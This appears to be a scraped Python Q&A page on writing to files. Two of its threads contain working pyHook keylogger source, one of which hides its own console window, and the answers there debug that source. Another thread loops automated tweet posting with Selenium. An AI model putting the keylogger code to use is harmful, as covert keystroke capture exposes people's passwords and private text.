python Writing to a output file - python

I am trying to write the key strokes I make to a new text file.
I got the following code:
import win32api
import win32console
import win32gui
import pythoncom
import pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
if event.Ascii != 0 or 8:
f = open('C:\Users\Joey\Desktop\output.txt', 'w+')
buffer = f.read()
f.close()
f = open('C:\Users\Joey\Desktop\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
I don't get any errors so I guess that's good. But everytime I check output.txt I see a empty text file. What is wrong with my code?

Look here for the difference between w and w+. You're overwriting the file every time with the second open for write f=open('C:\Users\Joey\Desktop\output.txt', 'w')
I'd imagine your file has just a line break in it. Try opening with just the a option to write to the end of file (EOF) every time.
if event.Ascii != 0 or event.Ascii !=8:
f=open('C:\Users\Joey\Desktop\output.txt', 'a')
keylogs=chr(event.Ascii)
if event.Ascii == 13:
keylogs='/n'
buffer += keylogs
f.write(buffer)
f.close()

Initially, your if statement always evaluates to true, it should be:
if event.Ascii != 0 or event.Ascii !=8:
or, even better:
if event.Ascii not in [0, 1]:
Also the file open modes might not be what you want, take a look at the docs for a rundown of these.

Related

Create a simple loop

How can I tell to my code to not end and start again ?
From the 1st try:
running = True
while running:
f = open('list.txt', 'r', encoding='utf-8').readlines()
for word in f:
if word == "\n":
continue
driver.find_element_by_xpath(Newtweet_button).click()
sleep(0.5)
driver.find_element_by_xpath(message_paste).send_keys(word)
try:
driver.find_element_by_xpath(post_tweet_xpatch).click()
sleep(1)
except (ElementClickInterceptedException):
driver.find_element_by_xpath(cross_button).click()
except (NoSuchElementException):
print("tweet not send")
driver.find_element_by_xpath(cross_button).click()
sleep(4)
else:
driver.find_element_by_xpath(close_button2).click()
sleep(4)
f.close()
Use a while loop:
running = True
while running:
#your code
This won't stop until running is set to false: running = false
Or you can have a count:
count = 0
while count >= 3:
#your code
count += 1
This will make the code run 3 times.
EDIT: to close your file you need to not read the file variable, like this:
with open('list.txt', 'r', encoding='utf-8') as f:
file = f.readlines()
for word in file:
if word == "\n":
continue

in python 3.4, readline works fine alone, but dies in a 'with open' loop. Why?

infile = 'xyz.txt'
f = open(infile)
line = f.readline() # these lines are all read fine
print("line=",line)
line = f.readline()
print("line=",line)
line = f.readline()
print("line=",line)
pause()
f.close()
with open(infile) as f:
line = f.readline() # this reads the first line but
print("line=",line) # dies without a message on line 2
pause()
sys.exit
def pause():
c = input("\nEnter q to quit, anything else to continue\n")
if (c.lower()=='q'): sys.exit()
return (c)
Adding arguments to open, like 'r', 'ignore', encoding, etc. make no difference.
It happens on other input files as well, so it's not input specific.
It dies even without the pause in the loop
After the first line, it prints the line and the pause message,
and dies reading the second line.
Could this be a genuine compiler error?
You need to add a loop to iterate over the lines:
import sys
def pause():
c = input("\nEnter q to quit, anything else to continue")
if c.lower() == 'q':
sys.exit()
infile = 'ttest.csv' # <-- replace with your own file
with open(infile) as f:
for line in f:
print('line = ', line)
pause()
First of all, with (in this case with open) is not a loop, with is a statement (check out: What is the python keyword "with" used for?) , so try this:
import sys
infile = 'xyz.txt'
def pause():
c = input("\nEnter q to quit, anything else to continue\n")
return c
with open(infile,'r') as f:
for line in f:
print("Current line:",line)
d={'q':sys.exit}
d.get(pause().lower(), lambda: '')()
sys.exit()
And you're asking the wrong question, readline also works fine with 'with open',
You're title was "in python 3.4, readline works fine alone, but dies in a 'with open' loop. Why?" as mentioned above with is not a loop

MPI barrier not blocking file write, flush and os.fsync

I have this test code which does the following:
Write a test message to a file > Barrier > Read the test message > Assert equal > Repeat.
from __future__ import print_function
import os
from mpi4py import MPI
comm = MPI.COMM_WORLD
rank = comm.Get_rank()
loop = True
def main():
global loop
txt_write = 'buhahaha'
with open('test', 'w') as f1:
if rank == 0:
f1.write(txt_write)
f1.flush()
os.fsync(f1.fileno())
comm.barrier()
with open('test') as f2:
txt_read = f2.read()
try:
assert txt_read == txt_write
except:
print("Assertion error", txt_read, "!=", txt_write, 'rank=', rank)
loop = False
finally:
comm.barrier()
if rank == 0:
os.remove('test')
if __name__ == '__main__':
i = 0
while loop:
main()
if i % 1000 == 0 and rank == 0:
print("Iterations:", i)
i += 1
It works for a few 100 or 1000 iterations, but then at one point it reads an empty file and the assertion fails. Other answers had recommended use of flush and os.fsync, but that does not seem to help - it just makes the execution slower. Any idea how to fix this?
Maybe you can try something like this, instead:
if rank == 0:
with open('test', 'w') as f1:
f1.write(txt_write)
# as #jschultz410 correctly pointed out,
# we remove f1.flush() and f1.close()
comm.barrier()
with open('test') as f2:
txt_read = f2.read()
The code resulted in a race condition where all processes were opening the same file simultaneously. Thanks to #jschultz410 and #mko for identifying this logical error.
My solution for the code was to use a memory stream instead of a real file. Now, the open, write and read parts of the code becomes:
from io import StringIO
f1 = StringIO()
if rank == 0:
f1.write(txt_write)
f1.flush()
comm.barrier()
txt_read = f1.getvalue()

Keylogger errors

im new to this site, this year we started learning python in school but we do the basic things and i was a bit bored so i was searching for interesting scripts untill i found how to make keylogger. I got some code but its not working. i fixed some of the errors but still
(NOTE1: i wont be using this anywhere else except my old pc so yeah, not trying to be a hacker or w/e)
(NOTE2: sorry for my bad english, im Greek :P)
import pyHook, pythoncom
from datetime import datetime
todays_date = datetime.now().strftime('%Y-%b-%d')
file_name = 'C:\\Documents'+todays_date+'.txt'
line_buffer = "" #current typed line before return character
window_name = "" #current window
def SaveLineToFile(line):
current_time = datetime.now().strftime('%H:%M:%S')
line = "[" + current_time + "] " + line
todays_file = open(file_name, 'a') #open todays file (append mode)
todays_file.write(line) #append line to file
todays_file.close() #close todays file
def OnKeyboardEvent(event):
global line_buffer
global window_name
#print 'Ascii:', event.Ascii, chr(event.Ascii) #pressed value
"""if typing in new window"""
if(window_name != event.WindowName): #if typing in new window
if(line_buffer != ""): #if line buffer is not empty
line_buffer += '\n'
SaveLineToFile(line_buffer) #print to file: any non printed characters from old window
line_buffer = "" #clear the line buffer
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to file: the new window name
window_name = event.WindowName #set the new window name
"""if return or tab key pressed"""
if(event.Ascii == 13 or event.Ascii == 9): #return key
line_buffer += '\n'
SaveLineToFile(line_buffer) #print to file: the line buffer
line_buffer = "" #clear the line buffer
return True #exit event
"""if backspace key pressed"""
if(event.Ascii == 8): #backspace key
line_buffer = line_buffer[:-1] #remove last character
return True #exit event
"""if non-normal ascii character"""
if(event.Ascii < 32 or event.Ascii > 126):
if(event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt)
pass #do nothing
else:
line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
else:
line_buffer += chr(event.Ascii) #add pressed character to line buffer
return True #pass event to other handlers
hooks_manager = pyHook.HookManager() #create hook manager
hooks_manager.KeyDown = OnKeyboardEvent #watch for key press
hooks_manager.HookKeyboard() #set the hook
pythoncom.PumpMessages() #wait for events
The errors are:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Python27\test123.py", line 30, in OnKeyboardEvent
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to file: the new window name
File "C:\Python27\test123.py", line 13, in SaveLineToFile
todays_file = open(file_name, 'a') #open todays file (append mode)
IOError: [Errno 13] Permission denied: 'C:\\Documents2017-Mar-31.txt'
As the error message already says, there is no problem with the code itself, but python have to have access to the folder you want to save your documents in. Try using a different folder or giving Python administrator rights when you run this program. For me file_name = 'C:\\Users\\{MyName}\\Documents\\'+todays_date+'.txt' worked perfectly fine.

Python: Writing to file using for loop

Using this Python code I get printed lines of file in UPPERCASE but file remains unchanged (lowercase.)
def open_f():
while True:
fname=raw_input("Enter filename:")
if fname != "done":
try:
fhand=open(fname, "r+")
break
except:
print "WRONG!!!"
continue
else: exit()
return fhand
fhand=open_f()
for line in fhand:
ss=line.upper().strip()
print ss
fhand.write(ss)
fhand.close()
Can you suggest please why files remain unaffected?
Code:
def file_reader(read_from_file):
with open(read_from_file, 'r') as f:
return f.read()
def file_writer(read_from_file, write_to_file):
with open(write_to_file, 'w') as f:
f.write(file_reader(read_from_file))
Usage:
Create a file named example.txt with the following content:
Hi my name is Dmitrii Gangan.
Create an empty file called file_to_be_written_to.txt
Add this as the last line file_writer("example.txt", "file_to_be_written_to.txt") of your .py python file.
python <your_python_script.py> from the terminal.
NOTE: They all must be in the same folder.
Result:
file_to_be_written_to.txt:
Hi my name is Dmitrii Gangan.
This program should do as you requested and allows for modifying the file as it is being read. Each line is read, converted to uppercase, and then written back to the source file. Since it runs on a line-by-line basis, the most extra memory it should need would be related to the length of the longest line.
Example 1
def main():
with get_file('Enter filename: ') as file:
while True:
position = file.tell() # remember beginning of line
line = file.readline() # get the next available line
if not line: # check if at end of the file
break # program is finished at EOF
file.seek(position) # go back to the line's start
file.write(line.upper()) # write the line in uppercase
def get_file(prompt):
while True:
try: # run and catch any error
return open(input(prompt), 'r+t') # r+t = read, write, text
except EOFError: # see if user if finished
raise SystemExit() # exit the program if so
except OSError as error: # check for file problems
print(error) # report operation errors
if __name__ == '__main__':
main()
The following is similar to what you see up above but works in binary mode instead of text mode. Instead of operating on lines, it processes the file in chunks based on the given BUFFER_SIZE and can operate more efficiently. The code under the main loop may replace the code in the loop if you wish for the program to check that it is operating correctly. The assert statements check some assumptions.
Example 2
BUFFER_SIZE = 1 << 20
def main():
with get_file('Enter filename: ') as file:
while True:
position = file.tell()
buffer = file.read(BUFFER_SIZE)
if not buffer:
return
file.seek(position)
file.write(buffer.upper())
# The following code will not run but can replace the code in the loop.
start = file.tell()
buffer = file.read(BUFFER_SIZE)
if not buffer:
return
stop = file.tell()
assert file.seek(start) == start
assert file.write(buffer.upper()) == len(buffer)
assert file.tell() == stop
def get_file(prompt):
while True:
try:
return open(input(prompt), 'r+b')
except EOFError:
raise SystemExit()
except OSError as error:
print(error)
if __name__ == '__main__':
main()
I suggest the following approach:
1) Read/close the file, return the filename and content
2) Create a new file with above filename, and content with UPPERCASE
def open_f():
while True:
fname=raw_input("Enter filename:")
if fname != "done":
try:
with open(fname, "r+") as fhand:
ss = fhand.read()
break
except:
print "WRONG!!!"
continue
else: exit()
return fname, ss
fname, ss =open_f()
with open(fname, "w+") as fhand:
fhand.write(ss.upper())
Like already alluded to in comments, you cannot successively read from and write to the same file -- the first write will truncate the file, so you cannot read anything more from the handle at that point.
Fortunately, the fileinput module offers a convenient inplace mode which works exactly like you want.
import fileinput
for line in fileinput.input(somefilename, inplace=True):
print(line.upper().strip())

Categories

Resources